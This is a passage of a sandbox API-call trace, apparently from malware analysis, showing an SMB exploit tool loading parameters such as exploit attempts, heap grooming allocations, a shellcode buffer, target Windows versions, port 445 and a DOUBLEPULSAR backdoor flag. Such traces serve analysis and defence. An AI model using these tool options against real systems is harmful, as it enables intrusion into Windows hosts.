param_2=0xd96e98 | out: param_1=0xd96f58) returned 0xd96f58 [0117.315] malloc (_Size=0x30) returned 0xd96ad8 [0117.315] malloc (_Size=0x5) returned 0xd965e8 [0117.315] strlen (_Str="Number of times to attempt the exploit and groom. Disabled for XP/2K3.") returned 0x46 [0117.315] calloc (_Count=0x47, _Size=0x1) returned 0xd954b8 [0117.315] _mbscpy (in: param_1=0xd954b8, param_2=0xeafb48 | out: param_1=0xd954b8) returned 0xd954b8 [0117.315] malloc (_Size=0x30) returned 0xd96b10 [0117.315] malloc (_Size=0xc) returned 0xead3b8 [0117.315] strlen (_Str="U32") returned 0x3 [0117.315] calloc (_Count=0x4, _Size=0x1) returned 0xd964c8 [0117.315] _mbscpy (in: param_1=0xd964c8, param_2=0xd90100 | out: param_1=0xd964c8) returned 0xd964c8 [0117.316] malloc (_Size=0x30) returned 0xd96b48 [0117.316] malloc (_Size=0x5) returned 0xd96588 [0117.316] strlen (_Str="Scalar") returned 0x6 [0117.316] calloc (_Count=0x7, _Size=0x1) returned 0xd96618 [0117.316] _mbscpy (in: param_1=0xd96618, param_2=0xd90110 | out: param_1=0xd96618) returned 0xd96618 [0117.316] malloc (_Size=0x30) returned 0xd96b80 [0117.316] malloc (_Size=0x7) returned 0xd96648 [0117.316] strlen (_Str="3") returned 0x1 [0117.316] calloc (_Count=0x2, _Size=0x1) returned 0xd96668 [0117.316] malloc (_Size=0x3c) returned 0xd93d38 [0117.316] malloc (_Size=0x8) returned 0xd96678 [0117.316] sprintf (in: _Dest=0xd905c8, _Format="%u" | out: _Dest="3") returned 1 [0117.316] malloc (_Size=0x30) returned 0xd96bb8 [0117.316] malloc (_Size=0x6) returned 0xd96698 [0117.316] strlen (_Str="3") returned 0x1 [0117.316] calloc (_Count=0x2, _Size=0x1) returned 0xd966b8 [0117.316] malloc (_Size=0x3c) returned 0xd93e10 [0117.316] malloc (_Size=0x6) returned 0xd966c8 [0117.316] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.316] malloc (_Size=0x3c) returned 0xd93ea0 [0117.316] malloc (_Size=0xa) returned 0xd905c8 [0117.316] strlen (_Str="GroomAllocations") returned 0x10 [0117.316] calloc (_Count=0x11, _Size=0x1) returned 0xd96f58 [0117.316] _mbscpy (in: param_1=0xd96f58, param_2=0xd96eb8 | out: param_1=0xd96f58) returned 0xd96f58 [0117.316] malloc (_Size=0x30) returned 0xd96bf0 [0117.316] malloc (_Size=0x5) returned 0xd964c8 [0117.316] strlen (_Str="Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do.") returned 0x52 [0117.316] calloc (_Count=0x53, _Size=0x1) returned 0xe82e50 [0117.316] _mbscpy (in: param_1=0xe82e50, param_2=0xd90448 | out: param_1=0xe82e50) returned 0xe82e50 [0117.316] malloc (_Size=0x30) returned 0xd96c28 [0117.316] malloc (_Size=0xc) returned 0xd905e0 [0117.317] strlen (_Str="U32") returned 0x3 [0117.317] calloc (_Count=0x4, _Size=0x1) returned 0xd96618 [0117.317] _mbscpy (in: param_1=0xd96618, param_2=0xd90140 | out: param_1=0xd96618) returned 0xd96618 [0117.317] malloc (_Size=0x30) returned 0xd96c60 [0117.317] malloc (_Size=0x5) returned 0xd96668 [0117.317] strlen (_Str="Scalar") returned 0x6 [0117.317] calloc (_Count=0x7, _Size=0x1) returned 0xd966e8 [0117.317] _mbscpy (in: param_1=0xd966e8, param_2=0xd90150 | out: param_1=0xd966e8) returned 0xd966e8 [0117.317] malloc (_Size=0x30) returned 0xd96c98 [0117.317] malloc (_Size=0x7) returned 0xd966f8 [0117.317] strlen (_Str="12") returned 0x2 [0117.317] calloc (_Count=0x3, _Size=0x1) returned 0xd96718 [0117.317] malloc (_Size=0x3c) returned 0xd94008 [0117.317] malloc (_Size=0x8) returned 0xd96728 [0117.317] sprintf (in: _Dest=0xd905f8, _Format="%u" | out: _Dest="12") returned 2 [0117.317] malloc (_Size=0x30) returned 0xd96cd0 [0117.317] malloc (_Size=0x6) returned 0xd96748 [0117.317] strlen (_Str="12") returned 0x2 [0117.317] calloc (_Count=0x3, _Size=0x1) returned 0xd96768 [0117.317] malloc (_Size=0x3c) returned 0xd940e0 [0117.317] malloc (_Size=0x6) returned 0xd96778 [0117.317] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.317] malloc (_Size=0x3c) returned 0xd94170 [0117.317] malloc (_Size=0xa) returned 0xd905f8 [0117.317] strlen (_Str="ShellcodeBuffer") returned 0xf [0117.317] calloc (_Count=0x10, _Size=0x1) returned 0xd90610 [0117.317] _mbscpy (in: param_1=0xd90610, param_2=0xd904d8 | out: param_1=0xd90610) returned 0xd90610 [0117.317] malloc (_Size=0x30) returned 0xd96d08 [0117.317] malloc (_Size=0x5) returned 0xd96618 [0117.317] strlen (_Str="Shellcode buffer in hex (hint: use 'F:' to load from file)") returned 0x44 [0117.317] calloc (_Count=0x45, _Size=0x1) returned 0xd954b8 [0117.317] _mbscpy (in: param_1=0xd954b8, param_2=0xd90ca8 | out: param_1=0xd954b8) returned 0xd954b8 [0117.317] malloc (_Size=0x30) returned 0xd96d40 [0117.318] malloc (_Size=0xc) returned 0xd90640 [0117.318] strlen (_Str="Buffer") returned 0x6 [0117.318] calloc (_Count=0x7, _Size=0x1) returned 0xd966e8 [0117.318] _mbscpy (in: param_1=0xd966e8, param_2=0xd90190 | out: param_1=0xd966e8) returned 0xd966e8 [0117.318] malloc (_Size=0x30) returned 0xd96d78 [0117.318] malloc (_Size=0x5) returned 0xd96718 [0117.318] strlen (_Str="Scalar") returned 0x6 [0117.318] calloc (_Count=0x7, _Size=0x1) returned 0xd96798 [0117.318] _mbscpy (in: param_1=0xd96798, param_2=0xd901a0 | out: param_1=0xd96798) returned 0xd96798 [0117.318] malloc (_Size=0x30) returned 0xd931e8 [0117.318] malloc (_Size=0x7) returned 0xd967a8 [0117.318] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.318] malloc (_Size=0x3c) returned 0xd94368 [0117.318] malloc (_Size=0xa) returned 0xd90610 [0117.318] strlen (_Str="LogFile") returned 0x7 [0117.318] calloc (_Count=0x8, _Size=0x1) returned 0xd966e8 [0117.318] _mbscpy (in: param_1=0xd966e8, param_2=0xda1180 | out: param_1=0xd966e8) returned 0xd966e8 [0117.318] malloc (_Size=0x30) returned 0xd93290 [0117.318] malloc (_Size=0x5) returned 0xd96798 [0117.318] strlen (_Str="Where to write log file") returned 0x17 [0117.318] calloc (_Count=0x18, _Size=0x1) returned 0xd96f58 [0117.318] _mbscpy (in: param_1=0xd96f58, param_2=0xd96e58 | out: param_1=0xd96f58) returned 0xd96f58 [0117.318] malloc (_Size=0x30) returned 0xd932c8 [0117.318] malloc (_Size=0xc) returned 0xd90670 [0117.318] strlen (_Str="String") returned 0x6 [0117.318] calloc (_Count=0x7, _Size=0x1) returned 0xd96808 [0117.318] _mbscpy (in: param_1=0xd96808, param_2=0xda1170 | out: param_1=0xd96808) returned 0xd96808 [0117.318] malloc (_Size=0x30) returned 0xd93300 [0117.318] malloc (_Size=0x5) returned 0xd96818 [0117.318] strlen (_Str="Scalar") returned 0x6 [0117.318] calloc (_Count=0x7, _Size=0x1) returned 0xd96838 [0117.318] _mbscpy (in: param_1=0xd96838, param_2=0xda1160 | out: param_1=0xd96838) returned 0xd96838 [0117.318] malloc (_Size=0x30) returned 0xd93338 [0117.319] malloc (_Size=0x7) returned 0xd96848 [0117.319] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.319] malloc (_Size=0x3c) returned 0xd94518 [0117.319] malloc (_Size=0xa) returned 0xd906a0 [0117.319] strlen (_Str="OutConfig") returned 0x9 [0117.319] calloc (_Count=0xa, _Size=0x1) returned 0xd906b8 [0117.319] _mbscpy (in: param_1=0xd906b8, param_2=0xead328 | out: param_1=0xd906b8) returned 0xd906b8 [0117.319] malloc (_Size=0x30) returned 0xd933a8 [0117.319] malloc (_Size=0x5) returned 0xd96808 [0117.319] strlen (_Str="Where to write output parameters file") returned 0x25 [0117.319] calloc (_Count=0x26, _Size=0x1) returned 0xd94a60 [0117.319] _mbscpy (in: param_1=0xd94a60, param_2=0xd975e0 | out: param_1=0xd94a60) returned 0xd94a60 [0117.319] malloc (_Size=0x30) returned 0xd933e0 [0117.319] malloc (_Size=0xc) returned 0xd906e8 [0117.319] strlen (_Str="String") returned 0x6 [0117.319] calloc (_Count=0x7, _Size=0x1) returned 0xd966e8 [0117.319] _mbscpy (in: param_1=0xd966e8, param_2=0xda10d0 | out: param_1=0xd966e8) returned 0xd966e8 [0117.319] malloc (_Size=0x30) returned 0xd93418 [0117.319] malloc (_Size=0x5) returned 0xd96838 [0117.319] strlen (_Str="Scalar") returned 0x6 [0117.319] calloc (_Count=0x7, _Size=0x1) returned 0xd98ea0 [0117.319] _mbscpy (in: param_1=0xd98ea0, param_2=0xda1100 | out: param_1=0xd98ea0) returned 0xd98ea0 [0117.320] malloc (_Size=0x30) returned 0xd93450 [0117.320] malloc (_Size=0x7) returned 0xd98eb0 [0117.320] strlen (_Str="stdout") returned 0x6 [0117.320] calloc (_Count=0x7, _Size=0x1) returned 0xd98ed0 [0117.320] malloc (_Size=0x3c) returned 0xd94680 [0117.320] malloc (_Size=0x8) returned 0xd98ee0 [0117.320] strlen (_Str="stdout") returned 0x6 [0117.320] calloc (_Count=0x7, _Size=0x1) returned 0xd98f00 [0117.320] malloc (_Size=0x30) returned 0xd93488 [0117.320] malloc (_Size=0x6) returned 0xd98f10 [0117.320] strlen (_Str="stdout") returned 0x6 [0117.320] calloc (_Count=0x7, _Size=0x1) returned 0xd98f30 [0117.320] malloc (_Size=0x3c) returned 0xd94758 [0117.320] malloc (_Size=0x6) returned 0xd98f40 [0117.320] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.320] malloc (_Size=0x3c) returned 0xd947e8 [0117.320] malloc (_Size=0xa) returned 0xd906b8 [0117.320] strlen (_Str="ValidateOnly") returned 0xc [0117.320] calloc (_Count=0xd, _Size=0x1) returned 0xd90700 [0117.320] _mbscpy (in: param_1=0xd90700, param_2=0xead628 | out: param_1=0xd90700) returned 0xd90700 [0117.320] malloc (_Size=0x30) returned 0xd934c0 [0117.320] malloc (_Size=0x5) returned 0xd98f00 [0117.320] strlen (_Str="Stop execution after parameter validation") returned 0x29 [0117.320] calloc (_Count=0x2a, _Size=0x1) returned 0xd934f8 [0117.320] _mbscpy (in: param_1=0xd934f8, param_2=0xda26f0 | out: param_1=0xd934f8) returned 0xd934f8 [0117.320] malloc (_Size=0x30) returned 0xd93530 [0117.320] malloc (_Size=0xc) returned 0xd90730 [0117.320] strlen (_Str="Boolean") returned 0x7 [0117.320] calloc (_Count=0x8, _Size=0x1) returned 0xd98ea0 [0117.321] _mbscpy (in: param_1=0xd98ea0, param_2=0xda1140 | out: param_1=0xd98ea0) returned 0xd98ea0 [0117.321] malloc (_Size=0x30) returned 0xd9a2a0 [0117.321] malloc (_Size=0x5) returned 0xd98ed0 [0117.321] strlen (_Str="Scalar") returned 0x6 [0117.321] calloc (_Count=0x7, _Size=0x1) returned 0xd98f60 [0117.321] _mbscpy (in: param_1=0xd98f60, param_2=0xda1120 | out: param_1=0xd98f60) returned 0xd98f60 [0117.321] malloc (_Size=0x30) returned 0xd9a2d8 [0117.321] malloc (_Size=0x7) returned 0xd98f70 [0117.321] strlen (_Str="false") returned 0x5 [0117.321] calloc (_Count=0x6, _Size=0x1) returned 0xd98f90 [0117.321] malloc (_Size=0x3c) returned 0xd993c0 [0117.321] malloc (_Size=0x8) returned 0xd98fa0 [0117.321] strlen (_Str="false") returned 0x5 [0117.321] calloc (_Count=0x6, _Size=0x1) returned 0xd98fc0 [0117.321] _mbscpy (in: param_1=0xd98fc0, param_2=0xc5c150 | out: param_1=0xd98fc0) returned 0xd98fc0 [0117.321] malloc (_Size=0x30) returned 0xd9a310 [0117.321] malloc (_Size=0x6) returned 0xd98fd0 [0117.321] strlen (_Str="false") returned 0x5 [0117.321] calloc (_Count=0x6, _Size=0x1) returned 0xd98ff0 [0117.321] malloc (_Size=0x3c) returned 0xd99498 [0117.321] malloc (_Size=0x6) returned 0xd99000 [0117.321] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.321] malloc (_Size=0x3c) returned 0xd99528 [0117.321] malloc (_Size=0xc) returned 0xd90700 [0117.321] strlen (_Str="Target") returned 0x6 [0117.321] calloc (_Count=0x7, _Size=0x1) returned 0xd98fc0 [0117.321] _mbscpy (in: param_1=0xd98fc0, param_2=0xd90180 | out: param_1=0xd98fc0) returned 0xd98fc0 [0117.321] malloc (_Size=0x30) returned 0xd934f8 [0117.321] malloc (_Size=0x5) returned 0xd98ea0 [0117.321] strlen (_Str="Operating System, Service Pack, and Architecture of target OS") returned 0x3d [0117.321] calloc (_Count=0x3e, _Size=0x1) returned 0xd995b8 [0117.321] _mbscpy (in: param_1=0xd995b8, param_2=0xda21d8 | out: param_1=0xd995b8) returned 0xd995b8 [0117.321] malloc (_Size=0x30) returned 0xd9a348 [0117.322] malloc (_Size=0xc) returned 0xd90748 [0117.322] strlen (_Str="WIN72K8R2") returned 0x9 [0117.322] calloc (_Count=0xa, _Size=0x1) returned 0xd90760 [0117.322] malloc (_Size=0x3c) returned 0xd99690 [0117.322] malloc (_Size=0x6) returned 0xd98f90 [0117.322] strlen (_Str="XP") returned 0x2 [0117.322] calloc (_Count=0x3, _Size=0x1) returned 0xd98ff0 [0117.322] _mbscpy (in: param_1=0xd98ff0, param_2=0xd901f0 | out: param_1=0xd98ff0) returned 0xd98ff0 [0117.322] malloc (_Size=0x30) returned 0xd9a380 [0117.322] malloc (_Size=0x5) returned 0xd99020 [0117.322] strlen (_Str="Windows XP 32-Bit All Service Packs") returned 0x23 [0117.322] calloc (_Count=0x24, _Size=0x1) returned 0xd94a60 [0117.322] _mbscpy (in: param_1=0xd94a60, param_2=0xeafce0 | out: param_1=0xd94a60) returned 0xd94a60 [0117.322] malloc (_Size=0x30) returned 0xd9a3b8 [0117.322] malloc (_Size=0xc) returned 0xd907a8 [0117.322] strlen (_Str="WIN72K8R2") returned 0x9 [0117.322] calloc (_Count=0xa, _Size=0x1) returned 0xd907d8 [0117.322] _mbscpy (in: param_1=0xd907d8, param_2=0xd90538 | out: param_1=0xd907d8) returned 0xd907d8 [0117.322] malloc (_Size=0x30) returned 0xd9a3f0 [0117.322] malloc (_Size=0x5) returned 0xd98ff0 [0117.322] strlen (_Str="Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs") returned 0x39 [0117.322] calloc (_Count=0x3a, _Size=0x1) returned 0xd99888 [0117.322] _mbscpy (in: param_1=0xd99888, param_2=0xda2220 | out: param_1=0xd99888) returned 0xd99888 [0117.322] malloc (_Size=0x30) returned 0xd9a428 [0117.322] malloc (_Size=0xc) returned 0xd90808 [0117.322] strlen (_Str="outputparameters") returned 0x10 [0117.322] calloc (_Count=0x11, _Size=0x1) returned 0xd96f58 [0117.322] _mbscpy (in: param_1=0xd96f58, param_2=0xd96ed8 | out: param_1=0xd96f58) returned 0xd96f58 [0117.322] malloc (_Size=0x3c) returned 0xd995b8 [0117.322] malloc (_Size=0x11) returned 0xd97578 [0117.322] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.322] malloc (_Size=0x3c) returned 0xd99888 [0117.322] malloc (_Size=0xa) returned 0xead448 [0117.323] strlen (_Str="DoublePulsarPresent") returned 0x13 [0117.323] calloc (_Count=0x14, _Size=0x1) returned 0xd96f78 [0117.323] _mbscpy (in: param_1=0xd96f78, param_2=0xd96f18 | out: param_1=0xd96f78) returned 0xd96f78 [0117.323] malloc (_Size=0x30) returned 0xd9a460 [0117.323] strlen (_Str="Set to true if the DOUBLEPULSAR backdoor was already installed and the exploit did not have to be thrown") returned 0x68 [0117.323] calloc (_Count=0x69, _Size=0x1) returned 0xe82f70 [0117.323] _mbscpy (in: param_1=0xe82f70, param_2=0xd90de8 | out: param_1=0xe82f70) returned 0xe82f70 [0117.323] malloc (_Size=0x30) returned 0xd9a498 [0117.323] strlen (_Str="Boolean") returned 0x7 [0117.323] calloc (_Count=0x8, _Size=0x1) returned 0xd99040 [0117.323] _mbscpy (in: param_1=0xd99040, param_2=0xd90270 | out: param_1=0xd99040) returned 0xd99040 [0117.323] malloc (_Size=0x30) returned 0xd9a4d0 [0117.323] strlen (_Str="Scalar") returned 0x6 [0117.323] calloc (_Count=0x7, _Size=0x1) returned 0xd99070 [0117.323] _mbscpy (in: param_1=0xd99070, param_2=0xd90280 | out: param_1=0xd99070) returned 0xd99070 [0117.323] malloc (_Size=0x30) returned 0xd9a508 [0117.323] strlen (_Str="false") returned 0x5 [0117.323] calloc (_Count=0x6, _Size=0x1) returned 0xd990a0 [0117.323] _mbscpy (in: param_1=0xd990a0, param_2=0xc5c150 | out: param_1=0xd990a0) returned 0xd990a0 [0117.323] malloc (_Size=0x30) returned 0xd9a540 [0117.323] strlen (_Str="false") returned 0x5 [0117.323] calloc (_Count=0x6, _Size=0x1) returned 0xd990d0 [0117.323] malloc (_Size=0x3c) returned 0xd99ac8 [0117.323] strcmp (_Str1="UTF-8", _Str2="") returned 1 [0117.323] strcmp (_Str1="UTF-8", _Str2="UTF-8") returned 0 [0117.323] strlen (_Str="config") returned 0x6 [0117.324] strlen (_Str="id") returned 0x2 [0117.324] strlen (_Str="configversion") returned 0xd [0117.324] strlen (_Str="name") returned 0x4 [0117.324] strlen (_Str="version") returned 0x7 [0117.324] strlen (_Str="schemaversion") returned 0xd [0117.324] GetCurrentThreadId () returned 0x1090 [0117.324] strlen (_Str="inputparameters") returned 0xf [0117.324] GetCurrentThreadId () returned 0x1090 [0117.324] strlen (_Str="parameter") returned 0x9 [0117.324] strlen (_Str="name") returned 0x4 [0117.325] strlen (_Str="description") returned 0xb [0117.325] strlen (_Str="type") returned 0x4 [0117.325] strlen (_Str="format") returned 0x6 [0117.325] strlen (_Str="hidden") returned 0x6 [0117.325] strlen (_Str="valid") returned 0x5 [0117.325] GetCurrentThreadId () returned 0x1090 [0117.325] strlen (_Str="default") returned 0x7 [0117.325] strlen (_Str="0") returned 0x1 [0117.325] GetCurrentThreadId () returned 0x1090 [0117.325] strlen (_Str="default") returned 0x7 [0117.325] GetCurrentThreadId () returned 0x1090 [0117.325] strlen (_Str="value") returned 0x5 [0117.326] strlen (_Str="0") returned 0x1 [0117.326] GetCurrentThreadId () returned 0x1090 [0117.326] strlen (_Str="value") returned 0x5 [0117.326] GetCurrentThreadId () returned 0x1090 [0117.326] strlen (_Str="parameter") returned 0x9 [0117.326] GetCurrentThreadId () returned 0x1090 [0117.326] strlen (_Str="parameter") returned 0x9 [0117.326] strlen (_Str="name") returned 0x4 [0117.326] strlen (_Str="description") returned 0xb [0117.326] strlen (_Str="type") returned 0x4 [0117.326] strlen (_Str="format") returned 0x6 [0117.326] strlen (_Str="valid") returned 0x5 [0117.327] GetCurrentThreadId () returned 0x1090 [0117.327] strlen (_Str="default") returned 0x7 [0117.327] strlen (_Str="60") returned 0x2 [0117.327] GetCurrentThreadId () returned 0x1090 [0117.327] strlen (_Str="default") returned 0x7 [0117.327] GetCurrentThreadId () returned 0x1090 [0117.327] strlen (_Str="value") returned 0x5 [0117.327] strlen (_Str="60") returned 0x2 [0117.327] GetCurrentThreadId () returned 0x1090 [0117.327] strlen (_Str="value") returned 0x5 [0117.327] GetCurrentThreadId () returned 0x1090 [0117.327] strlen (_Str="parameter") returned 0x9 [0117.327] GetCurrentThreadId () returned 0x1090 [0117.327] strlen (_Str="parameter") returned 0x9 [0117.327] strlen (_Str="name") returned 0x4 [0117.328] strlen (_Str="description") returned 0xb [0117.328] strlen (_Str="type") returned 0x4 [0117.328] strlen (_Str="format") returned 0x6 [0117.328] strlen (_Str="valid") returned 0x5 [0117.328] GetCurrentThreadId () returned 0x1090 [0117.328] strlen (_Str="value") returned 0x5 [0117.328] strlen (_Str="192.168.0.171") returned 0xd [0117.328] GetCurrentThreadId () returned 0x1090 [0117.328] strlen (_Str="value") returned 0x5 [0117.328] GetCurrentThreadId () returned 0x1090 [0117.328] strlen (_Str="parameter") returned 0x9 [0117.328] GetCurrentThreadId () returned 0x1090 [0117.329] strlen (_Str="parameter") returned 0x9 [0117.329] strlen (_Str="name") returned 0x4 [0117.329] strlen (_Str="description") returned 0xb [0117.329] strlen (_Str="type") returned 0x4 [0117.329] strlen (_Str="format") returned 0x6 [0117.329] strlen (_Str="valid") returned 0x5 [0117.329] GetCurrentThreadId () returned 0x1090 [0117.329] strlen (_Str="default") returned 0x7 [0117.329] strlen (_Str="445") returned 0x3 [0117.329] GetCurrentThreadId () returned 0x1090 [0117.329] strlen (_Str="default") returned 0x7 [0117.329] GetCurrentThreadId () returned 0x1090 [0117.330] strlen (_Str="value") returned 0x5 [0117.330] strlen (_Str="445") returned 0x3 [0117.330] GetCurrentThreadId () returned 0x1090 [0117.330] strlen (_Str="value") returned 0x5 [0117.330] GetCurrentThreadId () returned 0x1090 [0117.330] strlen (_Str="parameter") returned 0x9 [0117.330] GetCurrentThreadId () returned 0x1090 [0117.330] strlen (_Str="parameter") returned 0x9 [0117.330] strlen (_Str="name") returned 0x4 [0117.330] strlen (_Str="description") returned 0xb [0117.330] strlen (_Str="type") returned 0x4 [0117.330] strlen (_Str="format") returned 0x6 [0117.330] strlen (_Str="valid") returned 0x5 [0117.330] strlen (_Str="default") returned 0x7 [0117.330] strlen (_Str="true") returned 0x4 [0117.330] GetCurrentThreadId () returned 0x1090 [0117.330] strlen (_Str="default") returned 0x7 [0117.330] strlen (_Str="value") returned 0x5 [0117.330] strlen (_Str="true") returned 0x4 [0117.330] GetCurrentThreadId () returned 0x1090 [0117.330] strlen (_Str="value") returned 0x5 [0117.330] strlen (_Str="parameter") returned 0x9 [0117.330] strlen (_Str="parameter") returned 0x9 [0117.331] strlen (_Str="name") returned 0x4 [0117.331] strlen (_Str="description") returned 0xb [0117.331] strlen (_Str="type") returned 0x4 [0117.331] strlen (_Str="format") returned 0x6 [0117.331] strlen (_Str="valid") returned 0x5 [0117.331] strlen (_Str="default") returned 0x7 [0117.331] strlen (_Str="true") returned 0x4 [0117.331] GetCurrentThreadId () returned 0x1090 [0117.331] strlen (_Str="default") returned 0x7 [0117.331] strlen (_Str="value") returned 0x5 [0117.331] strlen (_Str="true") returned 0x4 [0117.331] GetCurrentThreadId () returned 0x1090 [0117.331] strlen (_Str="value") returned 0x5 [0117.331] strlen (_Str="parameter") returned 0x9 [0117.331] strlen (_Str="parameter") returned 0x9 [0117.331] strlen (_Str="name") returned 0x4 [0117.331] strlen (_Str="description") returned 0xb [0117.331] strlen (_Str="type") returned 0x4 [0117.331] strlen (_Str="format") returned 0x6 [0117.331] strlen (_Str="valid") returned 0x5 [0117.331] strlen (_Str="default") returned 0x7 [0117.331] strlen (_Str="3") returned 0x1 [0117.331] GetCurrentThreadId () returned 0x1090 [0117.331] strlen (_Str="default") returned 0x7 [0117.331] strlen (_Str="value") returned 0x5 [0117.331] strlen (_Str="3") returned 0x1 [0117.331] GetCurrentThreadId () returned 0x1090 [0117.331] strlen (_Str="value") returned 0x5 [0117.332] strlen (_Str="parameter") returned 0x9 [0117.332] strlen (_Str="parameter") returned 0x9 [0117.332] strlen (_Str="name") returned 0x4 [0117.332] strlen (_Str="description") returned 0xb [0117.332] strlen (_Str="type") returned 0x4 [0117.332] strlen (_Str="format") returned 0x6 [0117.332] strlen (_Str="valid") returned 0x5 [0117.332] strlen (_Str="default") returned 0x7 [0117.332] strlen (_Str="12") returned 0x2 [0117.332] GetCurrentThreadId () returned 0x1090 [0117.332] strlen (_Str="default") returned 0x7 [0117.332] strlen (_Str="value") returned 0x5 [0117.332] strlen (_Str="12") returned 0x2 [0117.332] GetCurrentThreadId () returned 0x1090 [0117.332] strlen (_Str="value") returned 0x5 [0117.332] strlen (_Str="parameter") returned 0x9 [0117.332] strlen (_Str="parameter") returned 0x9 [0117.332] strlen (_Str="name") returned 0x4 [0117.332] strlen (_Str="description") returned 0xb [0117.332] strlen (_Str="type") returned 0x4 [0117.332] strlen (_Str="format") returned 0x6 [0117.332] strlen (_Str="hidden") returned 0x6 [0117.332] strlen (_Str="required") returned 0x8 [0117.332] strlen (_Str="parameter") returned 0x9 [0117.332] strlen (_Str="parameter") returned 0x9 [0117.332] strlen (_Str="name") returned 0x4 [0117.333] strlen (_Str="description") returned 0xb [0117.333] strlen (_Str="type") returned 0x4 [0117.333] strlen (_Str="format") returned 0x6 [0117.333] strlen (_Str="required") returned 0x8 [0117.333] strlen (_Str="parameter") returned 0x9 [0117.333] strlen (_Str="parameter") returned 0x9 [0117.333] strlen (_Str="name") returned 0x4 [0117.333] strlen (_Str="description") returned 0xb [0117.333] strlen (_Str="type") returned 0x4 [0117.333] strlen (_Str="format") returned 0x6 [0117.333] strlen (_Str="valid") returned 0x5 [0117.333] strlen (_Str="default") returned 0x7 [0117.333] strlen (_Str="stdout") returned 0x6 [0117.333] GetCurrentThreadId () returned 0x1090 [0117.333] strlen (_Str="default") returned 0x7 [0117.333] strlen (_Str="value") returned 0x5 [0117.333] strlen (_Str="stdout") returned 0x6 [0117.333] GetCurrentThreadId () returned 0x1090 [0117.333] strlen (_Str="value") returned 0x5 [0117.333] strlen (_Str="parameter") returned 0x9 [0117.333] strlen (_Str="parameter") returned 0x9 [0117.333] strlen (_Str="name") returned 0x4 [0117.333] strlen (_Str="description") returned 0xb [0117.333] strlen (_Str="type") returned 0x4 [0117.333] strlen (_Str="format") returned 0x6 [0117.333] strlen (_Str="valid") returned 0x5 [0117.333] strlen (_Str="default") returned 0x7 [0117.333] strlen (_Str="false") returned 0x5 [0117.334] GetCurrentThreadId () returned 0x1090 [0117.334] strlen (_Str="default") returned 0x7 [0117.334] strlen (_Str="value") returned 0x5 [0117.334] strlen (_Str="false") returned 0x5 [0117.334] GetCurrentThreadId () returned 0x1090 [0117.334] strlen (_Str="value") returned 0x5 [0117.334] strlen (_Str="parameter") returned 0x9 [0117.334] strlen (_Str="paramchoice") returned 0xb [0117.334] strlen (_Str="name") returned 0x4 [0117.334] strlen (_Str="description") returned 0xb [0117.334] strlen (_Str="value") returned 0x5 [0117.334] strlen (_Str="WIN72K8R2") returned 0x9 [0117.334] GetCurrentThreadId () returned 0x1090 [0117.334] strlen (_Str="value") returned 0x5 [0117.334] strlen (_Str="paramgroup") returned 0xa [0117.334] strlen (_Str="name") returned 0x4 [0117.334] strlen (_Str="description") returned 0xb [0117.334] strlen (_Str="paramgroup") returned 0xa [0117.334] strlen (_Str="paramgroup") returned 0xa [0117.334] strlen (_Str="name") returned 0x4 [0117.334] strlen (_Str="description") returned 0xb [0117.334] strlen (_Str="paramgroup") returned 0xa [0117.334] strlen (_Str="paramchoice") returned 0xb [0117.334] strlen (_Str="inputparameters") returned 0xf [0117.334] strlen (_Str="outputparameters") returned 0x10 [0117.334] strlen (_Str="parameter") returned 0x9 [0117.334] strlen (_Str="name") returned 0x4 [0117.335] strlen (_Str="description") returned 0xb [0117.335] strlen (_Str="type") returned 0x4 [0117.335] strlen (_Str="format") returned 0x6 [0117.335] strlen (_Str="valid") returned 0x5 [0117.335] strlen (_Str="value") returned 0x5 [0117.335] strlen (_Str="false") returned 0x5 [0117.335] GetCurrentThreadId () returned 0x1090 [0117.335] strlen (_Str="value") returned 0x5 [0117.335] strlen (_Str="parameter") returned 0x9 [0117.335] strlen (_Str="outputparameters") returned 0x10 [0117.335] strlen (_Str="config") returned 0x6 [0117.335] realloc (_Block=0xd91e68, _Size=0x367c) returned 0xd9aa88 [0117.335] strlen (_Str="\n \n \n \n 60\n 60\n \n \n 192.168.0.171\n \n \n 445\n 445\n \n \n true\n true\n \n \n true\n true\n \n \n 3\n 3\n \n \n 12\n 12\n \n \n \n \n stdout\n stdout\n \n \n false\n false\n \n \n WIN72K8R2\n \n \n \n \n \n \n false\n \n \n\n") returned 0xd86 [0117.335] _write (in: _FileHandle=1, _Buf=0xd91e68*, _MaxCharCount=0xd86 | out: _Buf=0xd91e68*) returned 3462 [0117.400] free (_Block=0xd91e68) [0117.401] _fileno (_File=0x76be2920) returned 1 [0117.401] WaitForMultipleObjects (nCount=0x2, lpHandles=0xadf97c*=0x64, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0117.401] GetExitCodeThread (in: hThread=0x64, lpExitCode=0xadf98c | out: lpExitCode=0xadf98c) returned 1 [0117.401] GetExitCodeThread (in: hThread=0x6c, lpExitCode=0xadf98c | out: lpExitCode=0xadf98c) returned 1 [0117.401] CloseHandle (hObject=0x60) returned 1 [0117.401] CloseHandle (hObject=0x64) returned 1 [0117.401] CloseHandle (hObject=0x6c) returned 1 [0117.401] free (_Block=0xeae748) [0117.401] free (_Block=0xd96df8) [0117.401] free (_Block=0xeaec50) [0117.401] free (_Block=0xd96e18) [0117.401] free (_Block=0xd96928) [0117.401] free (_Block=0xeadac8) [0117.401] WSACleanup () returned 0 [0117.504] free (_Block=0xea28c8) [0117.504] exit (_Code=0) [0117.505] free (_Block=0xea27a0) [0117.505] CloseHandle (hObject=0x44) returned 1 [0117.505] free (_Block=0xea2790) [0117.505] free (_Block=0xea2768) [0117.505] free (_Block=0xea2778) [0117.505] free (_Block=0xea2738) [0117.505] free (_Block=0xea2750) [0117.505] free (_Block=0xea2710) [0117.505] free (_Block=0xea2720) [0117.505] free (_Block=0xea26e0) [0117.505] free (_Block=0xea26f8) [0117.505] free (_Block=0xea26b8) [0117.505] free (_Block=0xea26c8) [0117.505] free (_Block=0xea2688) [0117.505] free (_Block=0xea26a0) [0117.506] free (_Block=0xea2658) [0117.506] free (_Block=0xea2670) [0117.506] free (_Block=0xea2630) [0117.506] 